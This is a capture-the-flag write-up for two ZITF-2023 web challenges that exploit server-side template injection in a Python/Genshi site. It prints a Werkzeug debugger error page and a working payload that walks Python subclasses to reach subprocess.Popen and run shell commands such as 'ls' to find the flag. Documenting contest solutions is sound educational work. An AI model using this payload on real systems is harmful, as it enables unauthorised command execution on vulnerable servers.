ZITF-2023 - Website_Render_1&2
Web Application Analysis
The web interface remained consistent across both challenges. It was a straightforward site that primarily rendered HTML content.
Website Render 1 - Initial Render Analysis
To take advantage of this site, I leveraged a Server-Side Template Injection (SSTI) vulnerability. This flaw permits the execution of arbitrary code by embedding variables within the templates.
Initially, the website restricted the parsing of code outside of HTML tags. To circumvent this safeguard, I enclosed all my payloads within <p>
tags.
I attempted to initiate the exploit using the ${variable}
syntax.
Full output :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<!doctype html>
<html lang=en>
<head>
<title>genshi.template.eval.UndefinedError: "haha" not defined
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "FwWhDDaB2pGJMQ84Qck9";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>UndefinedError</h1>
<div class="detail">
<p class="errormsg">genshi.template.eval.UndefinedError: "haha" not defined
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
<h3></h3>
<ul><li><div class="frame" id="frame-140111860320000">
<h4>File <cite class="filename">"<string>"</cite>,
line <em class="line">1</em>,
in <code class="function"><Expression 'haha'></code></h4>
<div class="source "></div>
</div>
</ul>
<blockquote>genshi.template.eval.UndefinedError: "haha" not defined
</blockquote>
</div>
<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File "<string>", line 1, in <Expression 'haha'>
genshi.template.eval.UndefinedError: "haha" not defined
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>
<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>
<!--
Traceback (most recent call last):
File "<string>", line 1, in <Expression 'haha'>
genshi.template.eval.UndefinedError: "haha" not defined
-->
As observed at the end of the error message, Python was the underlying language, suggesting the application was likely powered by Flask.
To execute code using this vulnerability, it’s essential to locate a library such as os
or subprocess
. I utilized the following statement to list available libraries:
1
"".__class__.__mro__[1].__subclasses__()
This approach effectively enumerates the accessible subclasses.
By examining the output, I identified subprocess.Popen
as a viable option.
This method enables the execution of system commands.
After determining the index of this library (which was 528 after several attempts), I crafted the following command to list directory contents:
1
<p>${"".__class__.__mro__[1].__subclasses__()[528]("ls", shell=True, stdout=-1).communicate()}</p>
The output revealed a directory named flag
. A subsequent ls
command within this directory exposed the flag.txt
file.
This secured the first flag, thereby unlocking the subsequent challenge.
Website Render 2 - Secondary Render Analysis
This challenge mirrored the first one closely. The primary distinction was the flag’s location in a different directory, necessitating the use of ls
to locate it.
With the payload developed during the initial challenge, addressing the second challenge was straightforward.